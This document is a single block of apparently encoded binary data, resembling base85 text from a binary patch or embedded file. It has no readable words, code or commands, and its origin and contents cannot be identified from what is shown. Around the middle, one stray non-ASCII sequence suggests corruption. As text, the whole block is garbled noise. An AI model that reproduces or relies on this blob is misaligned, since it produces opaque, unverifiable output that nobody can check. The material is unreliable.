zBGnboGf*U=3?3zk7UK~YK5-V#Cn_r>i4vBA@(K$cKPz^c7bAh7!RZV+9R^a5hA>c( zwb3Eo(Wb?*$%#6&G;PIVwrxAxwV!=uP{(CN!*oc+pacQ6Wz(7z2^A)$0o&V~zzUh$ zJisA3l@O@}m^(@$5GndZ@Td<7;Y>l9pE)Mo*SB|Y_U~9h5nz=7aeQ1NQ-u}iA8e); zf)+LxKgB+EObi7#AVIq*$R;ZCiJE+rDmq$GE*K_ga^eT*DIO^qjE(|99|9wtJuNE2 zBMui3!-zppLXbUHK}n1V1SJ9yKPSj@{H&Z93L!)i719uww1Yq`B=~8{^6nbcI4x3= zCN)dju9NLDz;+o_cN#eFIgeEKA<6{msI+6y_e=KQ!dqOLRZG6C=v@rB&Zs?eu-8&Qg4Xg+H-r3PXz>|*sUEtgg$fMti|HpqEy{O@#AQ=Ic zG&*d8Dm@IIcPPt^s^P~p2sJQ4n={{w2>&Q?_9&0EfEZaCg_DG%M5OlAm`4c66)h+! zCk#=Lf}_ObPJVkQ5~iv9n5vpAM+y|>rD;*4ZS+gDXxVJr4o#24u2;fZ$_iZMJxVB1WHYTMwCVoq~ySq#fU-0&+$t0iDJd2<;9?Qh%8DNd*XXuq#X8wzSV92 zJ8oA!=*rfDeDYMp6)kGI8aZ9du8n zsK!gQu*vtGF9iSTKaY@*7c&zpz($Yz12S&0UuETPAqw(~Z{F~^;Tj^#XCW(KDso&? z`kaXb4@s43g%tCWm&l+(MkrFlRM-$rdPEU1q$Jm`BHyEe?ouZW(Q&!Lr)ek=q%x91 zlg5%DNFqc=P6T=Ohcj{_2r8UNlEO>zNu#70Fkz+?kM5uUrwCEp1-uLU!{3h}_*Ku- z(zVZ*>s)PDvdEOBU6T|8dl+!Mm4nBJ2ZzK10`PJdxVl}5K?ydIBzyI!k$7n%D#95l zrWzF$$wdS|y5(;Aew7uJ1#fA)UAgAz<|A=hn*w)CNzTQIUK2QGB*c3O2gy~0j4L7L zXz={TlRsJytIR)x^YgfYT@$sjGa)kzyysMNUBYjtI*L5DA~_a=Y0P5XMu12$N$0$cq&Q;$x7p3JSdVRTV4K|HXb~Ff2c)`Ro93U z6<6jvA@ktDV;~Cd;r__*C<+#^&Me42w=65qo5rZBp04uB&I z28$mv2NjTK%G>GD0$9WVI>`r1xFRB|L4aN+Aa2IRKL-SR z+PS~!_4luYNVg-UUkDsCJ@Y*wCp(Wj0YRCA@XM^A$Ug3FVPW;jt zWDKuz{t4drhK8Zd^}U0OgHTu3z-9-iGn4}$rEGSR+1DR~8jS6tl= zdUXK(tE`~-fupds^=bLt+vVlC%Bo%mr~Lf9VQyvnPZB_Nz&Y4+pcWSAuDd_bG|RX5 zeQW3Q(!zbf%45{lYt-WUpc=hFomQhkDOaZz>M`=+f@~a2_kz~-y5=f0#8Bdh<&kei zj{IE^#$zmc#F$LfRiT<`(l1L1GRVjnI=WJe+@r@B(Nh`3p_2@a-NF8xt9g5*ySsC< zpViM-oE3^PGKh|ed1#<-+TGo=Fuz#(qWl2*-?4&%`!om42j2t_e}10H#Ra3C{4`hl zLX449hpq3djn9;|*NBbhu$oeXy>*|VX0;ZhNRyH#3vrTz`a?x7=;~UcWXRBShX3Q6 z6MyG_6+#y9M}ak!^IprO5Hz6Q`M@EN?O zXKx=XD<8!ttgg<~X{c)g_YX?`9@ek*{`>!51q@!>@AMCf)4vp|VHVFkpMfQ$<0z?E zTC4);76SiJN%12_dYFn`#7Q^FK(6YuJuJ-q)s&oMBtnVOgGAUUnb``J)(gI!FggyV z%pT%i*#C_gH+lHVW!l-@sB37=%qpFn*gNe#00rqkhIOwI;3t0_`Va4yTAN!^({mmt zWyC(o$jT|{>+3hYQly|iBTmZ4D|Az2=E#rUbN3C+KS-2&_iLGdxOHHaxOe|BR&Mp6wF4O+?i5Hjw!Rd`XYqy z+`!!f-1aLLK}MrhBSdAdLh<1UQZh<8OF^*+PAcYCs*qH#d-S{=)WEeY{}StWW&R&w z{pTJ5RofeY-R-flm%Tm1;CG|>T7g=l;#Hi7c7ls+in~&%odn)kK!D{j zQl4$Q9oL&-tS<2w34Ls%BNXSZ8Q^4y)X|5C>*6s4q$HS>nLCct{I{{gi7L0KvG zR#)GwCe2b7s@;~Nw@Y#-?~s6g$z!qPE*!bfgWT!Tm5qjpGpI??le;{|@@*{DnbQ3Q zTnz>1tFSSS%BCo6Y7EKWJx5gm9p+tRZHf8Sj1LbE_9+(g*Nz{Qm11ujo7?6nSaY)B zP%e765xdsnzS{a~qtR)*-hQ**e!s=BonT_A#$Fs*(7J zN=Z>o+ULv!LRNYz0RiVXHB`(mD4|eNdik@&A6l=Ve_(RkJA3-tDy89CJIzkpO_<#l z2XY&h-0no~a3PbN$;001UTUWB7dZi%#6&dSl)=}MH_b~cpM2NwYW+qHch8Q zx8bpgEcDb^L#Bc-fn;xPeb{p&q*h#WFHaHxTT-R!y z#tUt`2xirhsN!JV@^ECFtA>UwqpOjyuNfrNk=xHotc_qE@1o%28@zK!9vs=7oI1qW zB|t^FW8AnZVkL3|`3ph?Dq|%=F|3k2&%Hc+DU`pu@_RA=4XmJFN)U;Qj&wH=^Rtk& z)?&9*XRuJCv(%=uMbTsR89go7a3);Z${aA!=b_HxNO|U(XrlnErlXT_i0)6crd(Hd6{ynS|1Dly! zgiF)Kxp9M^C^w!+yg)ckFw9vf#8EihNhrWcL_?MdCQUCVK;>=0p|8MLQd|r~PDx5b z>1a5c2zBMF5wl_0f&AHlfK?#VpQkcj9HY-``BFXAyiBFNOxbak@|#<` zV30tRb+I+9PJ|EF=#cU?h`H(|QQ{e|ILl*2UfHv$iZiySn>D4_3{(Zzq5HY+~u^}>O5O!Z6L?qk!rS4?>JUu?S~e_ zVJrdY{{9{~uCA=%>Ex3PlG7Zz8oP_o?_#{Jo5o6RokT@mZ!c`I#R`)v+6emW4IXM63g zn~jcR1s0XzTG7GY$0KwASV3iLd(Yp;)5%1*HA}6x7=h8}LMpO%W>|D*8nz_rwPibZ zSEqGUCiZ4qHzXPHvpg#(JhK0H&qaR^Doz4ICX1~1Tby=VFq`#uU;$hkqtEg3CvOW`@_;Y76-OrFc3K?=a?EL?< zj@EzZ_HST4^0>o;vGHjKLugIBetv*@O{5Mn*K}`H8+NFNb@}ov4=J! z>Sy?<76s`P2Wus{syHEq&6L;*!!4U~Ub#Bi?t}IHuY45ZqtW|ylQT3p zWwZP=_S&4c8!^D+_uE`UG4h24`G5EzrG*cwR|;rtb*;03_$~>5*y^-VXS-fwOYXwg z#_FRrc=TbMud5yQ+HjkVn4ROD53s7 za=V5&0m*H~#eC^DSGF z^%g4a4_oXv8nEl#G34$5A8Yx}?mkNI6sETw--8txCnyvSa0GtyMghA=@B_-xac^%I z^wZo%3Ug8-ce#+;-7#8%c~OdaVPcl%7Go3p)s;ONDfNmFCLtBG!emJ?5ZoPt+mDaa?mYFdefy=2hEP#O%B@) z_T&y+QIK|2#JkoHZ*sqb_3+470OXsu|JOPgVk1KXZ8_G1UQc3zsktWm>lVWREZ-~N zu-7Z(@yVT`!L{b*DNzB@>`3{Ma;=dnR7!xHia2$apE{VA_8J{_o4}NbU9Gk2NHc6m zFv1x~pk%qgjMSEbn#i*_XmQ$U0x=xB*Wx%|ZD(($1$GJVcGDA?-@*E8)_#6zwYPt` zzM-YAuA#iVDmN!Dg^(T{9UC4N79JcD6cF(0m7kxlFAnRVudA*p!^D2@HDPy}v77Y{phb^`Q{ z%3D~0(e59TQ z>k2T}Htb3b2Fx%(hMhWR5ZJdH>^5e~$@?>H)d}9-ZbwReKkKC^`**A$oPsOC!66=| z!b5phEh+k>G$T?fz||)a^xIMmz&?2(+hjNoJz8KsRctj^W;0)Iu~KQdR%^G>;IIvX zOCuIIQ=GG6I9{~BTx+OO$4ZYkI52N^ZnwR2baY^&zIr$*F)t!2>GjN(qis0IIZV{( zb>(aK6sou7!^Y}RA$Un!1ph&|=WdHrN2+0ew&`IDSe#&Y8|;=kLdg459(d=m@rmR4 z;s0!hC_wKxzJ=Ap%{|IhvnS804e+HH64T7a3ehX|j%yPo8xsZFtzbFtc+iF;x4MwQ z6ww{H*%uAoVt`2lESJDu`mhsEa8rqJ5$!M07^_A&81dk7aYW*1J8>c=s4mF8JUxz- zo7E5*lUS7Bp&%te%+}~B)aWVJ=qyqr=D|km^&Jd&2)=6Meji}NU1`Q-qAM7}ZIEs5 zaIMYq3JW`$Xa1B@!ToPxb#ZY?4)YwW3TjS5bY+@{U}0eniaSKy`dIebWa(lPeznee ztpT%MZ@*k=zT6$Vvo*T^x)MkPUQHbmaUfrkAD|uU0U0Sr02_8TWiv+kh6a@Rx+ld4 zHO2(ihWk_|hBr1f4As?k8l#+paU#RjTI~g@fVHzwwX0a2RG?+5!L`|fAIh<)h(M4@ zZaa<6yUotKZ8%4?>eBKW@HL>%!J ztaN-FjUs&PVgnrGgK=@e&dCvONfBNNagj+;{wcnwl1QDlWc|@xbZM9lLWa6F2};a{ zCi?K{DDtaF%fS_l(_*^fgIf|p8pFIR;=<~e=E>Xj@8D?S{f`j^S(BBOwZWm$`nvj@tc>``z+hjTt%bRX%FWNN9$;Rd>$c^80=YIR?s&xv=4*G=Y@-bxwflVqoYWbQ~)2Y)(Lf% zDh}2;=)q_Et9260$YXwGVH&SIk3-UX&ohAKr2LkZLa?^6g@8+U<(Tzko3;>8U1^4M z?XeCHb|()Vqf&s6R*xWI^2Vj#RF{@ktE=lOE00znID5ONPaas?quso14fPGQR4k(X zs}n*S#)kH+^lieOSZdIrgPg&;|)HQj{5nQ*Ji3Ok#tS|F9oG{hosa8Fmv_V(Ui zuwIHxzhwo60fcWMb}&8r+0{rgKS-xH*St4Pf3__QgR$M)Jqpq9DB#)SrSTuXaX?#G zrsfAvE>|z_wl8jxl5_m!Aj$zQ`8CCpdg>-9Wjc2>i>DcbpEXmgJ5PkGpqqoq#>SD6 zfsq^;9cylB`*+uG9oct?c68~ttdt4I0pozydKO^EX`oDpHxaFlMXt5FJD4NZ);8bW z+DWjet*!I-_we#|%F4=ISw7mRn4`^-(gVrlx!EPs+%jo+u6p&Lx2!%+SWv>tG2IIv z0W4skufH%arzk%=*#Fhb7muMT!p5d5I9IE#&TdM-d&h4D-YvsBuD-!~{J#2dd}3OZ zk2)(vs3c0HI7&1M$8E36QlDt(W1~JgcJyBC1n56nr38zujU8PS>^aM6cF~X6gikSX ze=I3Oi$dsR<^)en_aHRwjPxC*XUFH(+DB(=HV+4is|fYY;Emm>%!#rPCIGI=~N zKTn#=O@z)Z$Uk9idt_q1abUJ)ZoR3fEa~QtU(<1)dP;vvUO|>e@Bts>l)Ux@sMZBV z?TgCV7iHDY(D8oE%t}ij5RP&Gq7nbfO3_MdONTW7quK;WUZ`MJ5MNG^KvsZYZm{5J zEy~4$Gb1enbVafAH%AhHf-*Td$;!!e=h??9sEeE;XB7oxB$y?x|LbgeLGRx#A^0Rv{Z#a2j!B+V%OgKQ`Us)*z+}}6I{NkRCHcgD1KyI*D zMT|s#h(J+_HPB_HZ%k>XgLC;`Ws;#g5ug4$rh+mP0e<~#K*i$Qw`e(-E?4adc z;^Wp;5up8!eNs>lW8Yvny?5bG2iO)js|XG>n&CvVJ9_`2{WO z8Tz}t))EoU&^Uf7Ax56Fa@t=A%U!1B`j$)UWmIg!AByqj@c&``S5|P5GFZ9!MeGdJ zs$x&{RKSc#ACG5kO_v`m*KQ&xJ6P%f>j5f!vnB8p&~#Tv(h-ZP(Qs`Kebp5 zQXLIb-Fm^(~NDd{d0~ zslUN`f;%}e>4QTfm8kexc@Quiv^Gaktl~r+!q!A;eqj~dc7h8k`^Txf-kw1=k?%zm zzGdRP2t$4GZXFp;JbgG$<73T8F*3-|f415hRRq=YGW$<;y;AlHH z56AbnKV#%QPfPm)FDD%<$G2kgXH`*`Xc@nJ$#&7$hepzpn^s*gAS#3+2{<}qoLifZ zR#iaklas%%yoHrwpR;qbrh2Y%K~0H~_0zMv#E$W>@Wh~?h>rH7iMFMg_?+Pq6#1p3 z>gO+5&nfe0yQ&92zWLD1)G{TxxU!10w6eWGI8= z&Z!#SFb!m7SD+I05m&+JtbI^n@OQPldNKUY1Llxws;J zYiAaR^X=}O6%eDQW4rYD#Z^whtNhYe*#$sgy2!@!wS?AVcIZRxI0+Ul0U9Q1D&Z%O z#P2a^b6C1y_rSZPzo^%p-CbQR^Ju^FXum2#bQ5q?kpG*VC(q20msY@+3?yCwZZ65w zVCBFf{*jrY4Hg0>nQgr2RSkH>Bm@M+X6MI7XUc|WN`}X4nS`i~ zqxCZ<^Ao4iyhs6I!!fCoSt$dV+94V|FqXObE?2x~ekMspUi}f($BM{nTwG1f*6AuvydY%JX=9IOGdfPOdNw)1IfuZ=7{&RVaf!$vbv%H zH;D_XkMym|OY0gP+04mkDJW`uy?8LUNZ#2cH@EalDe^LMe#OZ9F&oFd6#Gg8amzDj z&JvOmw9IU&F@XX;aV$bIX(^@iYhz>6Wm|{+aY=s9#U4bohs6#iSr=gxePP=1`fg1= zaU-dbJ+a(|Oz8z7(J^5zwgiS3%mT9K>6vaIg|I=|g{r)IFPSc>7+sZA_~r@yWo;kM zJM=&E+4CruDk&Byb9u|U2l#>s_b=%c3<@w~Ep?+{ud?{i22HpvH;1&exYo00j8Le0 zU~oK^8(hTWLmxc-;Ti1>7J9}9zff^-a7ToMXqws!D#2tV;RAiEgOe@8 zQ)NqABp*L4vkGm}U{Y{bm_{T5U+9TSHZjhziW?v#52r&gVqtNv@o`al+OC{*To0dp zVJ{oh?!8^@GTQ3Brpjr+BmR}H_3al-=YM+i)qR>DUdT{Og+qiB*?p@hw-jqgM*8lJZxebH=eSdKL6FJyVN%g@#w(Pu;{i}*8;q4s;#V*w1Aud2agCI z6FoXUJibsfxzISX+E7}PNGm|~syZNkECromr5%Yv#TW$=!xDxG(Vg-9rtB5XSw?0k z@fWIEg67{{{;?iEhvc=t{}mlV7?Wew%`M1@Nzg@ysL~5QxOwO5Bf2l8@eG`L{9PU0 zNAvwV0~3IL3oGTh+S+<^LoZ!*$I{}Cva;5+^pcX2CM#>NzM%yx3u^&cYEJQ6in3aX zF=eXCYE%r5jJ%Be8v-K7<0HmmBD-U-nGP~Y2&uR1cuM-fZcS#VT&Jj>*u(*XZ;h{#t1P=BV{v6-|0oG5gDJ6{ zmg41S7W{<$DWAVuUY*-qna7YMkA#k^xMhrnSpb|J@)%`7NNl~jjzh`k_2d*K?z;lY3{ugcr zQE3+SNIL>EGZPyd4+o0~7mFxNLDvCm(+~8z(!99dO6n?PXQlu4`js2kZ}4-<>SCacW`t zv-C`t9O2O>P`oIO%2@hVyjPZ$g;j8vPe3Tnz*xn~Mz?>Ya&n<=cDZ?cu4-zbsk5&t zGR99`TZxYT`Qryq`2e)GHQvoVFvQ2pHlR6ltRAR~QQ9w3IB&7hosqsV0spO#;~|` zFuuIqy}H{wwNwX|PAl7;t2^D>)rg(wOArxG49O{*2Y$*tIm%4t9oT zqROB0LjEbDbXrRFoS4#SN%-ed@Jl~ExF{t1y{_X^od6bTydaGlBR1mrL$&vN`TriQ z6blKDj$-F$UeRO)BG(6c%>Zu^MR~Hv%$M`1X`qU3)Z4RVu z^hRzPiaOo6b&BcfBN2Kj=BJNY_&<|YJ1eeqR#yF-Aml0||JO*jr&=NWj4F%*-r{!Q zACQ&evP*M|!q!T%`3kDJPziq_tx%Dlo?VthFghh6ZNfDLp)A6jLafZsXsGVgMfOeR z?{=pyjOXo*=j?YR&K3KžsS;u->hk4nB`ZcrVG8T(sX1XwC6zKArCeEl7Y+$~`X_>qm;`CwYDz zagC3Ip)#TiXt#&3+L5%>m%cilyEk2MIF)}mlD*THw$hWb)StRKlC?dNb1RQe&%flp^_=~I zwhb3H&~oVbuPC=b7UBKMd-&@KZeC6SpOuUpK@wi9{8X7*)Koy&l!;Z8R!WD4U+yBe z*fn~N8OVXpS2l&e@nLBF`0)rwR@x^ACW6r}7TLFiaPa=ZeUa zx%&;#V-5)Sd$(@#NM6>m`hi8@(kmn(!=_V&3I=CK*LchtE7&Na>EY)0rPaTt*aA0U@Vad-su&3uJ)kZPFcVNFCD`;T%_-|nBT^v|cAIinZ(8|+Zymkqd z27|h=a6s-oWBBII-OKXG+gcVsXq(@bRQZOM`Sb5?o%;61RS5weLuF$REv+UhpEERcu%`n->LuZvsJbE+^Xp=DV)*&>6FW}XlCcN}0218xx>8U29q z8$Kj6rxDj3=AUmd{Gyovvq={gko#Uh`dd|_Z(;x4GY|UwE`p@Y(&-`@%lTSZ6b@%b-d~)Zt(6`tHuF=q4Q#JZY)%d!I z;$>!*+qzI4O(k6sD3?iql3AFNLz1?bI){i2&r2wyERIL<5lG(VTqIxnt#@g>V;dCl`mx@UN#&v4N2M(dYG>z9i& zLK!)(XqtV;%yor{=UY{i8%n6J6?Cp}N&EwXxPwj7MTf#M@oIXmigc0>psy4j3f))F zfGFod6*J}F`N~?QDjb$vrjE8p%e)W9dNNE2aS0FwQ6VU+hzx^(02>lzz%9%yBzH~; zb&Y}NAC781(FWyDzhP#%E0kx~!%NR0DEF}x{EV2=xo5N&C7>6iR6oCe|Enm&>SWt$ zoLX>|$E*aaG_TZYdF`+7Km8J_^CR5o8dUcieW&L#T3?&`$vCB;jNO!Ict9-$iVNj+X?6A`a+_c2apDlx@RrQv5pl`cG?xhSP_flKNmUK-&N z#{srqM4o@cVIk`sV3I=3@~MjcB^s8C52>!o>i(#T{uyp{M-KUoHilK%M4VpysY0MI zlMdUhdzT@vxEM6(9tl3=b`rAlbSNn<2eApr_O6t~vFLxE6+8xf7mOhV9n?W7FR!L% zIiqHA$2v?&63K;-F>VT47>GY~MTXEaoRL>Q4;FbMisz~5FG|BNvWlD%W{|3Jo{@Z^ z`|LWat7>eRRTdTN(F;CCj*HJ3uX4-ZeaZXN3(kK%V)*X*-OEozZt)t?v#W4~hJ`gZ zH95FBK#)=*8p5_t81k?AVBo40dERmSORSXkj@{$PLqN;|-yXmhs;ZG3yZ+6 zsThAtMSGST@-;e%k4cV(3w}>XSIi0LjP<|-h6D}v4V`f8Ztblttx^67MjCW~a_JqF z{{`zwt4E~d!?Do`Sq(9Cu!2prIwldJV0@1k@(+l{1qqeU#Z*qqYM-IwyztG93j*>N zC_NO{<3xGM+Qe$x$HPUGpFCr}U_cP3Qepaq=Qhkjb!Kt~ z%$lGaDet#d`tFeXhv*-O^#pfvV%pf;kXw$qk z{2}f4FWE0bw5~(6FF3?1xMrC;CL!$O)scAl7reLSY-xB*1ugAt5|R>DSAO&U^AE-U zQzt(h>oM-XKMK;(LEL1QHTR7-8=rD2jlHii#*8C=L+o z-n&}2sGuNAM%Xy2Y{>tF*p$}RYWuwZ_kQA!n_qt8e(yQ=+;h&oE!ug3-K6ni2*(xh z&*kI4|Cuyv{CvCZq)9iGrT@lHz(M?9Dx;&LzdmVf?A_b9(ywDo;sZfAMa0-Rrilu^(?& z<8aj1uU`YJtTX=aP{se46(FF9L~Y(|-@Esp_YH}A-iTW}#0@Q@{lntTnT07S8-QQJQj{(qzY$E?tLXl&Nztw#=>A08IJY#3+~jWxH4o7>i8Vc*qF2n0R3~9{o~*M0jpFh&`hWtK2#RSPwD9uzY+~MNkAo^#@3N{AH?Ztg^>}l zH*elJb?Wq~QzuWJJay*G*(+DB-n)0dwzd{Dd?Le`Si=3k1pW1_pnFnTO4}%_^ZB6% ziY~o=BYxF7DrE%$w{?iCp1;=Bvq)OIVS7&Dw(SMmatgDy?%kN4vo>W@baX;UNMvYO z#JbcCC5H}HS69op|2K%ghE+PkWX)-BZ}08xg|DxgUL84H#$x%HAYH0oycKnh{i4R= zrk2sSKZ`?z>q^Vc!X%sad)ryW&P`mS03!jD~gPY69$Lo?%vzn z(jt9}tRrPF{U?<#W(82`d+yzTuq!t=A!%(!=9a*qC|_=X4>Mfow`tervlOC#aL|U1 z4snZQuu9apsdcRPo%rAr6c8^Ajzqt3cxU}pHkLSNhx&L+{>;1^k#GetN}&?q?P4C428~UU$R> zO?pz%A?hBjZyRoGA8lwIf?nCMap#uoJF5>Tyj{cL`WF?I zg@&Xa|KWCX%WzA_SX0{=4CoIZ#6OhZh>y?c=o)<024;M$sa@RIGWtp+?i&=}{PD3D zn}6%pPyZbE%UDGs(b|Me&`e3E!zlb^RsoK-Zt;oZckVxK>wGP)s(ig~=goaPt~l5* z?%x%Oy2f6$N(L_U3XEDDp1L++OIzCr^a`j&YZnaYQBf!SI{fnoaZ$;shfiDJvex#o z=GKqat-g5(bf~fQ4Vx>xbm=PK{u5>XD^_^CRJ36s2^G(}TDoBd{Wzt3v_62_3G^V3 z(bhI`Y4N?I`zqL;(HqzAfo3*{hFf5wZ5aXEyLt2O!v|0Q+$Vn3JS1uzzIgV<;o`dw zA9aYjB%RUGJ9_J<>dMOA#-@Qb=!W)D>D&dAw5V4s>g@C3231x)|0lR#z$zUmIoo#U z7o2|cUi_+ML`o?;f^?g~u8Kz6yTunyy(r#wXIuJ7f*ZH#)i5*}94NS;>y7x*)yH9B zaWD{DL_=rFEAqEo-IsH-F!$Pv=WqK4#M^i5iwWC)yyV5PLr;Ia)>2p7*VZxCEa}%# z!0mc1ep=P)9}qk^IQX|k`vt7hXFq-VOc^gMxtIX3>W$=W7eLUOBM)rvrIE$+&x<_-u+S3-XR9d44PEeGz8vt_SS;Zvhu$@aKC_6qBi5RT&OVq&aKAI zZkQTBPM4E8TSiWMVl$!1^({jZy_I?k5=%SU0=A|@47T^`#hS9>hd#_WUv6wy z&uH^6mqAbTz8x(uyYABOR(STfCXa=O$DKTN2jq#1W=KanxJ4h$Df9|l|Dj);ms`&BPCQ!l1nk%D ztP9|6u|30meIh^!gh7$;mZ71Kp`ZAdkf*DwtK`7pu+aFh(4?5?q?DA6Z{EBa9h;B? zkyuY~(TAlrbYgG)uKqQw@P^LLPCs7wrAv>%#)5YPv(U?$4=2hW#7FGpct*s9r&(L# z0|oKDJtM6!eU1yY1t!bp5paDWuCcVh@7;Q(e1C;McRiCX*qdK+_x_8Ty6!92?^3B= z4Gq8X8K8GTZnF0F^z^i~wadO%R#aU$bK%n%;KvXda_&k%np>&I?>^ZM=m`ws-X zh~&ha{5{9lugweeO9|x178jQ^G}Pzj=55@#4V--lZzN;7eGDcXuw`I+9z3kG#*ntB zpC~JOfW!J^X6@?e8H8yS+zilv@P}*a+k-=*YisME;m~AR^P%k$g3({(EE!7I32Y)- zU}+hRLPev^$vRZ3%g$Z7jSU|o2B|TXJwaCa0#Ut> za~}5ob9GH78CuK>3kwppN@PE=x4wo|df)MrCoO`^aa&x>_{P?;W{hJDe5Tu>V+Y|$ zKi#_L=s+qvdg<<+x^w3rJ$l@7@W=(o#56UJfFr+i$D!rR4YzJOdTjqg8w};x@oOIj zB)+uFhC@X{+%gJ-qPu%AHZJ*aX{oeuVbgaR|m)Ps(+n+l2tiB`^9Z z59&z|&N(J6VF}LbKPL8*%q*APym1?D|5UnPAXn*Y2l@uADRvG?Ha0QAR-wt1Ks;?X z8SRfbee!H^(GQvF1wGy3D_1HSU%kI|tLEIr`@kw{AI;ia028gRcii@j9~|wNhYy~A z-zTnb9{v>+C`Ds1iMDi&Jbm$VQSp_ASM3>D+tSiAd%An1uZH6Qm|(FuH7yOj-pb=n zq}w?j{XE+>mq^-A^FBjkp7x*}aJ^Wl!S%nx{W4bRO#$ITB+t+> z=c3JqD}Fg;Se%n*CfUeE_wMcL_O{{9&e5AcRyH(BV)e?ZwwBi6*Kfuc48NV3$74b_ zYpyXZEI0+A4HG~?ja$H0cMYGv+`b{@UPAN(PhyEDBLXb;{*q%_IyxR~YC%y^FU+nI zwH)=}Q{2iJlnVj$6Yk7i=2mz`4fC1g0(aI)cgjAJvEvLJP00>7-G=y$i;G!*zr>`& z=!1Ku<%?P2rWem^Y`txaeaVctO~ReU=Dyav!vrf=&F9a$o;_;?OIuoYwWQ?q(3m)P zPwCaG6`;VkZa+_n%j0^+1O~>z*ZLNa=*Ni}>@&o#^(|xDw^#7oF9zT*xti??@+r_7BfqbjHVR=;|JM)iiMZat)0f@ZeEnd-oX3$6%R3f#LY7 zb>P^Ery)VdY%OA)P2;J!m;nC-4-XF3h1}CU*wixA*9W*Xrd z0jVbUedym(knNU^4fxU9g!X-QR^hOCbaQ6@#mkT3vas-^q?8P(q;1UGx9Iw`<$l9_qG(4%RXIL8E%S;l40-(e12gQ#cwKgwu~)+K3J z=^Mv5QA=1Zu^0pUWqSHLtt}EaLnhjXkx+L56Ad@%;}Gf-_W?eDDZ_ zyu!GM{o8gNZW8s4C+Nmn+ecnC_n|RHZp?4=jOA=Yjrd2LIK__ibS)E$S#6>&nX!Fz z|6x=_G$WYf660p!YZx362yKx43iU5$mDn_~_<7X}*C-O91kXB-=N-e5GZ6^lY<u-G2qD7SM*4!jY( zXb1wJA}voIJuNLQdpo{RC=)9D^yRGJZjXt>G7|8I$h-RuJ|n1BEG%UGqo)6?GVzR`zOMlf{Iu;=1kv+2~MO!`4rVw&}Gy_L@K zcJ5m(oY$M81v*?#=urQ7uCZ~TzG0xQexL!?d0q`QwR{@*0*bim#Tybaz|$itcguyM zJ-6b+cSOf*>gXK?sgFm-Bd_0y!^2X|?7l(Ss2bW#5893L+h!5E*BZ^36&)V|P!Q+H z&;VNMZOP6^D__If*4#$k$U)NAgoj2B4U7sSB3$?sMm&4lj;!d7NrXI{Zz(qL1QCfv z94oog(J}I}uJ2`SU-iqrnwR}A>joMd2b)_z&N&k`S!$^%-I;yMR^|TG8 zCU3p^;|s{w0WJiOoxNk_NABwx%_4d!Ez?k-g)9!rG55pfR=tDc%i8{iSA)>-iIlQBs4-}4SFa@F0%Nqle|YE4yqERwAg>Ck^tN6}7NEXn z$idFp-s4}U7*zu^1%9fAU^6l(6G2Tibz>9y`UWHxWrCOVDejlaReB#N2H%Iz=JI3L zMy)YXvt{ZE;{&f`^Z0RZMa65ttp(Pm zAxRFh{SR_gl2Hpovvmxt7-Zq@-hI5k_$YW)t)fv_F}eLy-K`t7NA_Qf3(YpSQzh|~ zR%$7_($s=BXa=O}g=Cpn`)TjU+YODJ=q3F#*8cwfb7#+U1-@$-T7G3@|1vBw!x+ue z_X+mIxLDf@mJ4#s1iQ?P(K^>JHC0u#e@Q*=X9 z)(AHm*w8T@u#`VuKBbhN`5L*(p0TTNuT=onX$#K(7$xA46En-yDbPR%y2S?wMEjMjGW+)Oc};k7td+opu+4>E?Bc%{6PRaDiZL^DT`_CXWW1}-)B7K8 zTxq;_zw=quySlo5NJzB+S=(4++bCqsA@2`!D&&(PgaHH8{YH|SkhsdCQAmwfK5yE8 z;JBWa0Xk?c{&J1|*+=M%y;(U0fWlySDJo2MqfH}t!u+G;?4j%vG2cIC2`%D#D-ZLY z@rdZpM(tO!N<}N{yC)Bx2%>|r2?W0aoNu;?|4vj$t}P=Pu~>7~y7=6h$`217b=SP? zYY`2$b&r5t!LNW6Rd=`e{{7}tr|&$jcy;yW)7$r+U$}g0`;NlKW?0Pv7ed_J(%;-T zuzAz&MMy^rL5lyrAG{uR8F|InU@!|8t~AiKM53m8_)oELP}Me4_V82ThArSm%rhn} z+<)lMxM+W!f20kT9{(0A+zKX7M(p9qT;-}Q*z4w(g%qS42j`dvWaur|Qr*4lIOu0> zU0>&$p=QxA*x0J)U8m37&&t{Z8GK*9e^PSFmaSWl9zD7~HI+!Db#_bi85CQx(V}^z zvwbve-7XuHy}q8Yi8WEr$ie_&?9B>3a_}+^k3-=mxpS2@^p$N%^31@g?0}i}>{*;p zA8;kWt(b@?tN&eAc!1O``{Cqij4#pvt-Q>9x!)c)|IG;gMuX5SBrjow7Gmk6iuTUl z;kM4fmbQ`B_Mz;p`<5>H9_xZ#w=Vti`HQkvq;ASQc<98Fr?9s3iz_*vta$vm^xf%}>$HS`~>_r1~n;d{uG$sThWNJFJFH@b_h} zfXd%xm0CQ=7}$F|Itymf{p43`Pg!QRDm2F-Xrq>Ys%~tyu?Y&5K?h zH)`n;4FeY%uJD58;oCav_Bb&Gj~_fZdEtVclXF&9-rajGu<9qBgCPp4YkHr%yOhNc zYOc}KT&D;_2NjAZz zqKTB!`rl=hD)6rSJX8973P+yGk$0i0E!CQXp=w5C8U?0k2d~!=Cap9un*XRm1fkBQ zGgUg82qenR^+uyj`4jtd&pEJ$Q})0BO+cY6H)UjJWfnjV5|*i&MI*3EDH*tJBh|G% zscBg`xp{l{6=!YF35$pz5Q#_=q?siOg>pnWs^S=mYYbG}*-At&1p-IjgsXk<=$|h5 z{9RU1llSjFU^$MiJ}N}dDP*51w)n~REKO7A1r)AUWSV|p;+mLEI!G(IEnD(xUN&j0 zG??=3w+7};#PVlOX~*cn>w-@`b4@)mXN5kW=eucr?)A&nBGJ&R=FyH$iA@Gp_`tde z>>`1WWJ5)t7*ynKpSTScltg{!&sLjTYB+nyYa1#Py_E=F3Pko~Gp@$Ay^_?+@PrJr zOu&DORVvgIXU>>;ETZ@-yR#H&esY!$@-{RrZnBQ1!Svv@`T+?mLz6TKtQk}WF?Z*F z6NHVnrpdS8Oje(}WQCE9+SHkI7OhrQnQCNUl(Kf)z8yD@?7O!%HizQwX@#~342fuL z{UF(HA=y$e+}J8vPZ|G=FRXw)?-u`bTjb5)n^?=~o2Y_ZC9K|4%(*MFb9en$S;6y! z=LzG29l5hTxJnGZGLEV~W3IfbkA8HnsR4Q_mbNS`d8HtFDKB!NF=}yR?d$#d7pP?Z zily2(2fC>NX4b4l1XmW(4Mpz~qx5>Zv zv*09{u-mtq)00bd5wrA7l}Q{$U?s5SjD1$@EXe<7tYC?xeBBEeobw zMPpf;N|r5Nrmw&9z@f5^*OGDhyyi{zwtZW&_m&(w|FYp7WRE9Of@1|AFx24rUOx8{ 